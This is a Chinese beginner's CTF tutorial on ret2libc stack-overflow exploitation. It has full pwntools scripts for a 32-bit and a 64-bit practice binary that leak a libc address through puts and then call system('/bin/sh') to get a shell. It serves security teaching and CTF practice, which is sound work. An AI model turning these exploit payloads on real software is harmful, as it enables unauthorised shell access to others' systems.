pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)

2023-12-16

目录

写在开头

题目简介

解题思路

前置知识(简要了解)

plt表和got表

延迟绑定

例题详解

32位

64位

总结与思考

写在开头

这篇博客早就想写了,但由于近期事情较多,一直懒得动笔。近期被领导派去临时给合作单位当讲师,要给零基础的学员讲pwn的内容,因此也临时学了一些pwn的基础知识,正好学到了这个ret2libc,感觉虽然是很基本的栈溢出,但作为初学者还是有很大的理解难度,故此总结本篇,个人理解,笔者能力非常有限,如有错误或讲解不到位的地方,欢迎评论指出,共同讨论。

本篇将首先简要介绍这种题型的特点,然后以CTF-wiki上的例子ret2libc3作为一道例题(32位),再补充一道64位的题目。另外,由于这种题目需要判断libc的版本,理论上需要用到LibcSearcher这个库。本文本着讲解原理的角度,仅仅打本地,故本文涉及到的例子相当于已经给出了libc的版本(也就是当前操作系统的libc)。这里给出几个博客的参考链接,也是笔者学习时看到的一些资料。首先是CTF-wiki中的基本题目:

基本 ROP - CTF Wiki (ctf-wiki.org)

本文将讲解CTF-Wiki中基本ROP的最后一道题目ret2libc3。另外顺道一提,我感觉CTF-Wiki给出的例题虽然不错,但解题过程还是过于简略,零基础的初学者未必能看懂。不过wiki中的基本ROP都是pwn入门最经典的例题,感觉还是值得学习。另外我学习的时候还参考了另外两篇博客,这里给出链接。下面这篇博客给出了ret2libc题目的模板,非常言简意赅:

PWN题型之Ret2Libc_[error] './ret2text' is not marked as executable (-CSDN博客

这篇博客则更是相对详细的介绍了ret2libc的原理,我在后文中也引用了这位大佬画的图片:

pwn基本ROP——ret2libc_pwn ret2libc-CSDN博客

另外由于ret2libc类题目涉及到延迟绑定技术,即plt表和got表的相关知识,我参考了下面这篇博客,感觉这个博主很厉害:

Basic-ROP · 语雀

题目简介

本文所针对的题目是ret2libc类的基本栈溢出问题。总结而言,要想实现ret2libc,有以下几个必要条件:

1.存在溢出,且溢出范围足够大,可以覆盖到main函数的返回地址,还可以覆盖更远的区域。

2.存在类似于puts,write这样的打印函数。可以被利用,劫持程序的执行流程后,执行puts,write这样的函数打印一些已经执行过的函数的真实地址,以便我们寻找libc的基地址。

另外这类题目往往还有以下的特点,暗示我们要可能要使用ret2libc的方法:

1.开启了NX保护,即数据段不可执行。同时栈也是不可执行的。因此就别想通过写入shellcode再ret2shellcode这样的方法拿shell。

2.程序本身也没有像system("/bin/sh")这样直接的后门函数,因此我们也不要想着直接ret2text这么直接。

3.程序中可能既没有system函数,又没有"/bin/sh"字符串,需要我们在libc库中寻找。

解题思路

我们的目标是拿到shell,换言之就是,劫持二进制可执行文件的执行流程,让程序执行system("/bin/sh")。拆分这个目标,可以分为以下两个步骤:

1.找到system()函数和/bin/sh字符串在libc中的地址。

2.劫持程序的执行流程,让程序执行system("/bin/sh")。

实现第二步不难,只要精巧合理地构造溢出,把main函数的返回地址覆盖为system()函数的地址,并合理实现传参即可。关键在于如何找到system()函数和"/bin/sh"字符串的地址。这两个关键地址都在libc库中,这就是这类题型被叫做ret2libc的原因。那么如何寻找libc中的system()函数和"/bin/sh"字符串呢?这里需要用到以下公式:

函数的真实地址   =   基地址   +   偏移地址

要牢牢记住我们的目标:找到system()函数和"/bin/sh"字符串的真实地址。下面我们对这个公式做一个解释:

偏移地址:libc是Linux新系统下的C函数库,其中就会有system()函数、"/bin/sh"字符串,而libc库中存放的就是这些函数的偏移地址。换句话说,只要确定了libc库的版本,就可以确定其中system()函数、"/bin/sh"字符串的偏移地址。 解题核心在于如何确定libc版本 ,本文介绍过程将忽略这个问题,打本地直接确定为本地的libc版本即可。

基地址:每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。 可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本(此处需要用到工具LibcSearcher库,本文忽略这个步骤) 。那么如何求基地址呢?如果我们可以知道一个函数的真实地址,用公式:

这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址  - 函数func的偏移地址

即可求出这次运行的基地址。

这回问题又发生了转化:如何找到某个函数func的真实地址呢?

像puts(),write()这样的函数可以打印内容,我们可以直接利用这些打印函数,打印出某个函数的真实地址(即got表中存放的地址)。某个函数又指哪个函数呢?由于Linux的延迟绑定机制,我们必须选择一个main函数中已经执行过的函数(这样才能保证该函数在got表的地址可以被找到),选哪个都可以,当然也可以直接选puts和write,毕竟题目中像puts和write往往会直接出现在main函数中。

总结一下上面这段话,我们可以通过 构造payload让程序执行puts(puts@got)或者write(1,write@got, 读取的字节数) 打印puts函数/write函数的真实地址。

整体思路总结(关键):

1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。

2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略)。

3.根据libc库的版本可以很容易的确定puts函数的偏移地址。

4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。

5.根据libc函数的版本,很容易确定system函数和"/bin/sh"字符串在libc库中的偏移地址。

6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。

7.再次构造合理的payload2,劫持程序的执行流程,劫持到system("/bin/sh")的真实地址,从而拿到shell。

前置知识(简要了解)

plt表和got表

这块不用理解太深,读者嫌麻烦也可以直接看后文的解题过程,我这里总结了几位大佬的博客,做个简要介绍。

由于二进制文件本身没有 system 也没有 /bin/sh,需要使用 libc 中的 system 和 /bin/sh,知道了libc中的一个函数的地址就可以确定该程序利用的 libc版本,从而知道其他函数的地址。获得 libc 的某个函数的地址通常采用的方法是:通过 got 表泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数的地址。为什么是已经执行过的函数的地址呢,此处就要介绍plt表和got表的内容了。

got表:globle offset table 全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址。我们的最终目标就是拿到system函数的got表地址,同时知道libc的基地址的话即可找到system函数的真实地址。

plt表:procedure link table 程序链接表,位于代码段,是一个每个条目是16字节内容的数组,使得代码能够方便的访问共享的函数或者变量。可以理解为函数的入口地址,通过劫持返回地址为puts函数的plt表地址,即可执行puts函数。

说的有点绕,用大佬语雀博客中的一图以蔽之:

图一 PLT表和GOT表

可执行的二进制文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址那我们可以发现,在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址(即最靠右的两个箭头已经建立),但是在一开始(尚未发生函数调用时)就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制。

延迟绑定

只有动态库libc中的函数在被调用时,才会进行地址解析和重定位工作,也就是说,只有函数发生调用之后,上图中最右侧的两个箭头才建立完成,我们才能够通过got表读取到libc中的函数。至于具体过程相对复杂,这里引用大佬博主的图片简要介绍,当程序第一次执行某个函数A时,发生的过程如下:

图二:首次调用函数A

在可执行二进制程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新(就是图一中最右边俩箭头还没有建立),会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。当第二次执行函数A时,发生的流程就很简单了,如下图:

图三:再次调用函数A

此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用。说白了,图三就是图一。

例题详解

32位

此处以CTF-Wiki中基本ROP的最后一道ret2libc3为例。链接如下:

基本 ROP - CTF Wiki (ctf-wiki.org)

拿到一个pwn题目,首先可以在虚拟机中运行一下,试试有哪些交互效果:

输入一个短字符串""aaa",无事发生,程序徐正常退出,而输入非常长的字符串aaaaaaaa....后,程序发生了段错误,看来程序确实存在溢出问题。然后我们checksec一下保护机制:

可以确认这是一个开启了数据执行保护NX的32位小端序可执行文件。然后我们把他拖入ida中看看main函数的伪C语言代码(按F5反汇编):

gets函数是危险函数,不会对用户输入数据的长度进行限制,因此存在溢出。再找找这个题目里面有没有system函数和"/bin/sh"字符串,直接通过shift + f12即可查看字符串:

既没有system函数,亦没有"/bin/sh"字符串,结合栈不可执行,判断这个题目要用到ret2libc的方法。首先构造payload1,使得通过对局部变量的字符数组s输入过量的数据,覆盖了main函数的返回地址,将main函数的返回地址覆盖成了puts的plt表项,并通过合理的对栈的覆盖,实现传参(32位程序采用栈传参的方法),具体payload1的覆盖方法如下图:

首先要保证把main函数的返回地址覆盖为puts函数的地址,即puts的plt表,占4字节。紧接着上图中addr(_start)所在的位置(靠下的图片中浅蓝色的四个格子)相当于puts函数的返回地址,我们要求puts函数执行完成后再次返回main函数的起始位置,故这个位置应当填写main函数起始位置的地址,再往后的四个字节应当填写puts函数的参数,即任意一个已经执行过的函数,这里依旧可以填puts的got,因此我们构造的payload1如下:

payload1 = b"a" * offset + puts_plt + addr_start + puts_got

其中b"a" * offset填充垃圾数据,垃圾数据正好填充覆盖先前保留的ebp即可。那么如何确定垃圾数据的长度offset呢?这个很简单,不是本文重点,可以看我之前pwn入门的文章,比如这篇:

pwn入门(2):ROP攻击的原理,缓冲区溢出漏洞利用(ret2text+ret2shellcode)-CSDN博客

这里就通过gdb的方式快速调试一下好了,用插件pwndbg快速生成200个有序字符:

cyclic 200

然后把这个字符输入到程序中:

果然出现了段错误,提示程序跳转到了0x62616164的位置,那么我们只要找到这个0x62616164在cyclic生成的字符串中的哪个位置即可:

cyclic -l 0x62616164

即可得出垃圾数据的长度offset为112个字节。

解释一下,此处的0x62616164是小端序的,本质相当于字符串"daab",而daab就位于cyclic生成的字符串中的112的位置。因此要想覆盖到main函数的返回地址,就需要112个字节的垃圾数据。

由于仅仅打本地,那么我们只要找到本地的libc就可以了。用ldd命令查找一下具体如下:

最终可以构造如下的脚本寻找puts函数的真实地址:

from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts']  #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F") #这两行注释用于调试程序,读者可以用gdb看看程序的执行过程,断点设置在了gets之前
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4])  #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr))

运行程序即可:

可以看到我们确实得到了puts函数的真实地址,对比两次的运行结果可以发现,两次运行的真实地址是不同的,这是因为基地址不同(地址随机化的保护机制),但最后三位却是一致的c40,可以据此找到libc的版本(当然本文仅仅打本地,已经确定了libc,就省略了LibcSearcher的步骤)。下接下来就是计算libc的基地址了。

基地址 = 真实地址  -  偏移地址

libc_addr = puts_real_addr - libc.sym['puts']
print(hex(libc_addr))

有了基地址libc_addr,我们就可以寻找system函数和"/bin/sh"字符串的真实地址了:

system_addr = libc_addr + libc.sym["system"]
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))

找到这俩关键地址之后,就可以构造payload2了:

payload2的原理就是让main函数的返回地址是system函数的真实地址,其后接任意一个4字节长度的数据,占位,表示system函数的返回地址(是啥不重要,因为执行了system("/bin/sh")之后就拿到shell了,我管他返回到哪里),再后面跟着system函数的参数,也就是"/bin/sh"字符串的真实地址即可:

payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

完整的代码如下:

from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts']  #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F")
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4])  #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr)) 
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))  #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()

运行即可拿到shell:

64位

和32位区别不大,核心就是传参方式不一样了,32位采用栈传参,而64位程序函数的前六个参数分别用寄存器rdi, rsi, rdx, rcx, r8, r9传参,后续参数采用栈传参。另外64位程序还有个栈平衡的问题,在最后的payload中需要添加一个ret指令的地址。这里讲解看雪学院给出的一道例题(文末会给出例题链接) 。

首先运行程序:

也是一样,输入超长的字符串后会发生段错误,存在溢出问题。然后checksec一下:

可以看出是64位小端序程序,开启了NX保护。然后丢到ida pro x64中看看源代码:

read这里存在溢出,可以读入0x100,也就是256个字节的数据,这很可能覆盖到返回地址后续的内存空间。再次shift+F12寻找字符串,也是没有system函数和"/bin/sh"字符串:

同时存在已经执行过的puts函数可以被我们利用,判断这个题目是ret2libc。由于是打本地,我们直接用本地的libc库即可:

payload1的构造如下代码所示:

payload = b"a" * offset #垃圾数据的填充
payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参,参数是read_got
payload += p64(read_got) #想要存入rdi的参数
payload += p64(puts_plt) #puts的入口地址,即plt表的地址
payload += p64(main_addr) #程序的起始地址

这回我们用puts函数打印寻找read函数的got表的地址(当然你也可以继续想寻找puts的got表地址)。确定offset的方法和32位相同,结果是offset = 40。(此处崩溃的时候好像显示还在main函数中,但我们可以查看BACKTRACE看到main函数的返回地址已经被覆盖成了0x6161616c6161616b)

接下来我们只要查找这几个地址即可:pop_rdi_ret_addr, read_got, puts_plt, main_addr。首先是pop_rdi_ret_addr,这个就是个ROP嘛,我们用ROPgadget寻找即可:

ROPgadget --binary ret2libc --only "pop|ret" | grep rdi

找到了pop_rdi_ret_addr = 0x401293,剩下的read_got, puts_plt, main_addr可以用之前的32位程序的方法:

puts_plt = e.plt['puts'] #puts函数的入口地址
read_got = e.got['read']  #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址

但这里我就故意舍近求远,带大家看看,我们能否不用这些函数,在ida中硬生生把这几个地址看出来。首先是read_got。可以在IDA中通过按ctrl+s跳转到不同的段。先看got表,也就是对应的.got.plt(而非.got)

可以找到read_got = 0x403368,如下图:

接下来再找puts_plt,我们到.plt段去寻找:

可以找到puts_plt = 0x401060,然后我们再找main函数的起始位置:

可以很容易的确定起始位置是main_addr = 0x401176,好了,第一部分的代码我们可以写出来了:

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr) 
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))  #read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print("read_real_addr: ", hex(read_real_addr))

运行之后成功拿到了read的真实地址,每次运行结果不同,但后三位固定。如果libc版本未知的话,可以据此确定libc版本。

接下来基本上和32位的没啥区别了,计算libc的基地址:

libc_base = read_real_addr - libc.sym["read"]

然后计算system函数和"/bin/sh"字符串的真实地址:

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

完整代码如下,区别就是由于操作系统的原因,需要添加一个ret指令用于栈平衡(非本文重点,我还没来得及搞懂),ret指令也可以用ROPgadget去寻找,这里懒得演示了:

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("read_real_addr: ", hex(read_real_addr))
libc_base = read_real_addr - libc.sym["read"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("system_addr:{}".format(hex(system_addr)))
print("binsh_addr:{}".format(hex(binsh_addr)))
payload = b"a" * offset
payload += p64(0x40101a) #需要添加一个ret,仅仅用于栈平衡
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil("Pls Input")
p.send(payload)
p.interactive()

运行即可拿到shell:

总结与思考

解决ret2libc这样的题目,关键就是把握两个payload的构建方法,理解如下关键公式的含义即可:

函数的真实地址   =   基地址   +   偏移地址

最后再次总结一下解题思路:

1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。

2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略,实际题目要用到LibcSearch库)。

3.根据libc库的版本可以很容易的确定puts函数的偏移地址。

4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。

5.根据libc函数的版本,确定system函数和"/bin/sh"字符串在libc库中的偏移地址。

6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。

7.再次构造合理的payload2,劫持程序的执行流程,劫持到system("/bin/sh")的真实地址,从而拿到shell。

最后我将本文提到的两个二进制程序和解题代码分享如下:

链接:https://pan.baidu.com/s/1RXdZ_sB9Mb3LqRjqr6ICIA?pwd=ylzh
提取码:ylzh

总结这篇文章可真不容易呀,写了一天时间。恳请读者们多多点赞关注支持,后续我也会继续更新渗透测试等网络安全相关的技术文章。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例) 的相关文章

  • UDP 广播发送失败:在 Linux 2.6.30 上“网络无法访问”

    我用udp广播写了一个程序 代码段如下 struct sockaddr in broadcast addr socklen t sock len sizeof broadcast addr bzero broadcast addr sock
  • gdb 错误 - 文件不是可执行格式:无法识别文件格式

    我正在尝试使用 gdb 调试某个名为 xdf 的程序 但是当我运行 gdb xdf 时 出现以下错误 home nealtitusthomas X ray astronomy heasoft 6 24 x86 64 pc linux gnu
  • 远程linux服务器到远程linux服务器大型稀疏文件复制 - 如何?

    我有两台 CentOS 5 4 服务器 每台服务器上都安装了 VMware Server 假设我始终对 vmware 虚拟机使用稀疏文件 将虚拟机文件从一台服务器复制到另一台服务器的最可靠 最快速的方法是什么 虚拟机的文件复制起来很痛苦 因
  • 如何在 Linux x86_64 上模拟 iret

    我正在编写一个基于 Intel VT 的调试器 由于当 NMI Exiting 1 时 iret 指令在 vmx guest 中的性能发生了变化 所以我应该自己处理vmx主机中的NMI 否则 guest会出现nmi可重入错误 我查了英特尔手
  • sqlite 插入需要很长时间

    我正在将不到 200 000 行插入到 sqlite 数据库表中 我只是在终端中通过 sqlite3 使用一个非常简单的 sql 文件 我打赌它已经运行了至少 30 分钟 这是正常现象还是我应该关闭该过程并尝试不同的方法 sqlite中的插
  • 为什么 ld 无法从 /etc/ld.so.conf 中的路径找到库?

    我想添加 opt vertica lib64进入系统库路径 所以我执行以下步骤 1 添加 opt vertica lib64 into etc ld so conf 然后运行ldconfig 2 检查 bash ldconfig p gre
  • 错误:NVIDIA-SMI 失败,因为无法与 NVIDIA 驱动程序通信

    NVIDIA SMI 抛出此错误 NVIDIA SMI 失败 因为无法与 NVIDIA 通信 司机 确保安装了最新的 NVIDIA 驱动程序并且 跑步 我清除了 NVIDIA 并按照提到的步骤重新安装了它here https askubun
  • 进程名称长度的最大允许限制是多少?

    进程名称允许的最大长度是多少 我正在读取进程名称 proc pid stat文件 我想知道我需要的最大缓冲区 我很确定有一个可配置的限制 但就是找不到它在哪里 根据man 2 prctl http man7 org linux man pa
  • 如何从类似于 eclipse 的命令行创建可运行的 jar 文件

    我知道 eclipse 会生成一个可运行的 jar 文件 其中提取并包含在该 jar 文件中的所有库 jar 文件 从命令提示符手动创建 jar 文件时如何执行类似的操作 我需要将所有 lib jar 解压到类文件夹中吗 目前我正在使用 j
  • 为 Linux 安装 R 包时出错

    我试图在 R 3 3 上安装一个名为 rgeos 的包 但是当我输入 install packages rgeos 但它返回给我以下错误 其他包也会发生同样的情况 但不是所有包 gt installing source package rg
  • 怎样才能使 Windows 成为一个开箱即用的 POSIX 兼容操作系统?

    这个问题的动机是我的一个牵强的梦想 即 nix 平台上可用的许多优秀软件可以轻松移植到 Windows 微软最近对开源和开放性采取了不同的方法 所以我真的很想知道如果微软有这样的倾向 这样的事情会有多可行 我很好奇的一些更具体的事情是 是否
  • 构建 makefile 依赖/继承树

    如果我解释得不好或者问了一些明显的问题 我很抱歉 但我是 Linux 内核的新手 而且有点深入 我们有一个嵌入式 Linux 系统 它附带一个 文档非常糟糕的 SDK 其中包含数百个文件夹stuff 大多数文件夹包含rules make m
  • 在 LINUX 上使用 Python 连接到 OLAP 多维数据集

    我知道如何在 Windows 上使用 Python 连接到 MS OLAP 多维数据集 嗯 至少有一种方法 通常我使用 win32py 包并调用 COM 对象进行连接 import win32com client connection wi
  • 标准头文件中的 C 编译器错误 - 未定义的 C++ 定义

    我正在尝试编译 C 程序 但收到许多错误 这些错误是在标准 C 头文件 inttypes h stdio h stat h 等 中遇到的 错误的来源是以下未定义的常量 BEGIN DECLS END DECLS BEGIN NAMESPAC
  • 如何在Python中独立于语言安装(linux)获取用户桌面路径

    我找到了 如何找到用户桌面的路径 的几个问题和答案 但在我看来它们都已失效 至少我找到的那些 原因是 如果用户安装的 Linux 不是英语 他或她的桌面很可能位于除 Desktop 例如 对于瑞典语 我相信它是在 Skrivbord 谁知道
  • 适用于 KDE 和 Gnome 的 Gui [重复]

    这个问题在这里已经有答案了 我想为一个现在是 CLI 的应用程序编写一个 gui 它需要在 KDE 和 Gnome DE 中 看起来不错 充分利用用户的外观设置 如果我选择 Qt 或 GTK 我能够做到这一点吗 它们与两个 DE 集成良好吗
  • C 程序从连接到系统的 USB 设备读取数据

    我正在尝试从连接到系统 USB 端口的 USB 设备 例如随身碟 获取数据 在这里 我可以打开设备文件并读取一些随机原始数据 但我想获取像 minicom teraterm 这样的数据 请让我知道我可以使用哪些方法和库来成功完成此操作以及如
  • 如何在特定 systemd 服务重新启动时触发自定义脚本运行

    我想知道如何安排自定义脚本在重新启动服务时运行 我的用例是 每当重新启动 Tomcat 服务时 我都必须运行多个命令 我想知道是否有一种方法可以编写脚本并安排它在重新启动 Tomcat 服务时运行 我已将 tomcat 脚本设置为 syst
  • 劫持系统调用

    我正在编写一个内核模块 我需要劫持 包装一些系统调用 我正在暴力破解 sys call table 地址 并使用 cr0 来禁用 启用页面保护 到目前为止一切顺利 一旦完成 我将公开整个代码 因此如果有人愿意 我可以更新这个问题 无论如何
  • 为什么 Linux 对目录使用 getdents() 而不是 read()?

    我浏览 K R C 时注意到 为了读取目录中的条目 他们使用了 while read dp gt fd char dirbuf sizeof dirbuf sizeof dirbuf code Where dirbuf是系统特定的目录结构

随机推荐

  • 毕业设计|基于SpringBoot+Vue的新生报道

    作者简介 Java领域优质创作者 CSDN博客专家 CSDN内容合伙人 掘金特邀作者 阿里云博客专家 51CTO特邀作者 多年架构师设计经验 腾讯课堂常驻讲师 主要内容 Java项目 Python项目 前端项目 人工智能与大数据 简历模板
  • 毕业设计|课程设计|SSM开发实现图书管理系统

    作者简介 Java领域优质创作者 CSDN博客专家 CSDN内容合伙人 掘金特邀作者 阿里云博客专家 51CTO特邀作者 多年架构师设计经验 腾讯课堂常驻讲师 主要内容 Java项目 Python项目 前端项目 人工智能与大数据 简历模板
  • 工业相机与镜头选型方法(含实例)

    一 相机介绍及选型方法 1 工业相机介绍 工业相机与我们手机上面的相机或者我们单反相机不同 工业相机它能够使用各种恶劣的工作环境 比如说高温 高压 高尘等 工业相机主要有面阵相机和线阵相机 线阵相机主要用于检测精度要求很高 运动速度很快的场
  • 人工智能机器人:未来生活的智能伙伴

    导言 随着人工智能的不断进步 智能机器人正逐渐走入人们的日常生活 成为了生活和工作中的得力助手 本文将深入探讨人工智能机器人的发展趋势 关键技术以及对未来生活的影响 人工智能和机器人技术的迅猛发展正在深刻地改变我们的生活和工作方式 本文将深
  • 毕业设计|基于SpringBoot+Vue的前后端分离的电影购票系统

    作者简介 Java领域优质创作者 CSDN博客专家 CSDN内容合伙人 掘金特邀作者 阿里云博客专家 51CTO特邀作者 多年架构师设计经验 腾讯课堂常驻讲师 主要内容 Java项目 Python项目 前端项目 人工智能与大数据 简历模板
  • 课程资料|最优化方法-电子版教材!

    写在前面 学习成绩 不管是是保研 考研 出国留学 还是找实习找工作 都是你极为重要的支撑 为了帮助同学们 更好地学习专业课 斩获高绩点 岛主将持续推出 CS相关的专业教材资料 希望同学们能够在接下来的学习生活中取得良好的成绩 今天为大家带来
  • 数说CS | 本校生源占比65%!一文揭秘北大智能学院近两年拟录取情况!

    写在前面 北京大学智能学院 仅开设一门交叉学科 招收哪些专业 保研录取情况如何 今天 岛主就带你深度揭秘 北京大学智能学院 01 院校介绍 北京大学是全球智能学科的诞生地 2002年北京大学创办了我国第一个智能科学系 2007年成功在人工智
  • 工业级路由器在智能交通系统(ITS)中的创新应用

    智能交通系统 ITS 作为一种先进的交通管理与控制系统 旨在提高交通运输系统的效率 安全性和便捷性 随着科技的不断发展 智能交通系统已经成为城市交通管理的重要组成部分 而工业级路由器作为一种可靠的网络通信设备 其在智能交通系统中的创新应用正
  • 自动驾驶技术:驶向未来的智能之路

    导言 自动驾驶技术正引领着汽车产业向着更安全 高效 智能的未来演进 本文将深入研究自动驾驶技术的核心原理 关键技术 应用场景以及对交通 社会的深远影响 1 简介 自动驾驶技术是基于先进传感器 计算机视觉 机器学习等技术的创新 旨在实现汽车在
  • 开题报告-基于SpringBoot的求职招聘系统的设计与实现

    一 选题的根据 由于临近毕业季 同学们也即将踏上自己的岗位 择业也成为了同学们当下最为关心的问题 为了能够更加方便的服务同学们找工作 最快最有效率的方式莫过于计算机网络 所以我就因此开发了这一个求职招聘系统 为广大求职者和各企业的人事单位提
  • Dirsearch简单使用

    目录 简介 特性 安装 使用 python3 dirsearch py h 查看工具使用帮助 常用命令 python3 dirsearch py u URL python dirsearch py u https www google co
  • Linux unzip解压多个文件

    前情介绍 最近下载了imagenet1k数据集 令人难受的是这里边有很多的zip包 我总不能一个一个解压吧 这就太费时了 有点程序员思维很重要 批量解压 解决办法 假设当前目录下有多个zip文件 需要 unzip zip 或者 unzip
  • 毕设项目-基于Springboot和Vue实现蛋糕商城系统

    作者简介 Java领域优质创作者 CSDN博客专家 CSDN内容合伙人 掘金特邀作者 阿里云博客专家 51CTO特邀作者 多年架构师设计经验 腾讯课堂常驻讲师 主要内容 Java项目 Python项目 前端项目 人工智能与大数据 简历模板
  • xv6(12文件系统Inode&;Directory&;Path

    签三方前查一下校招黑名单 对你真没啥坏处 靠谱 也可以找我push 华为上海终端 各位大大帮忙看看 发的一堆sp被鸽麻了 求求大家投下小米 谈谈c 方向 校招 华为15A vs 南湖实验室 华为15A vs 南湖实验室 27届Java求建议
  • VPS用途大揭秘:如何用VPS改变你的数字生活

    VPS是一种虚拟化技术 允许用户在单一物理服务器上创建多个独立的虚拟服务器 这些虚拟服务器拥有自己的操作系统 资源和配置 就像独立的物理服务器一样 1 为什么选择VPS 成本效益 VPS相对于独立服务器来说成本更低 但仍提供了高度的自定义和
  • 从OpenInfra看开源软件的可持续、高质量发展

    近些年 云计算加快普及应用 作为催化剂和引擎之一 开源思想和开源软件功不可没 比如 国内很多大型头部企业当初就采用了开放开源的OpenStack作为其云的底座 时过境迁 随着人们对于云计算的认知和应用越来越成熟 OpenStack的使用方式
  • 人工智能驱动的智慧城市:科技之光照亮未来城市发展

    导言 人工智能在智慧城市建设中扮演着关键角色 通过智能化 自动化的手段 为城市提供高效 智能的管理和服务 本文将深入研究人工智能在智慧城市中的应用 创新技术以及对城市未来发展的引领作用 智慧城市是利用先进的信息技术和大数据分析手段 以提高城
  • 浮点数保留3位小数的方法

    test 量化开发 策略 面试后的这些迹象 告诉你 你已经成功了 签三方前查一下校招黑名单 对你真没啥坏处 知乎高赞 有什么忠告想告诉刚刚毕业的年轻人 理想 大模型面经 理想ai 数据工程 浮点数保留3位小数的方法 链接 https ac
  • 深入理解人工智能中的图神经网络:原理、应用与未来展望

    导言 图神经网络 Graph Neural Networks GNNs 作为人工智能领域的一项前沿技术 在社交网络分析 推荐系统 生物信息学等多个领域展现出卓越的性能 本文将深入剖析图神经网络的原理 当前应用场景以及未来可能的发展方向 1
  • pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)

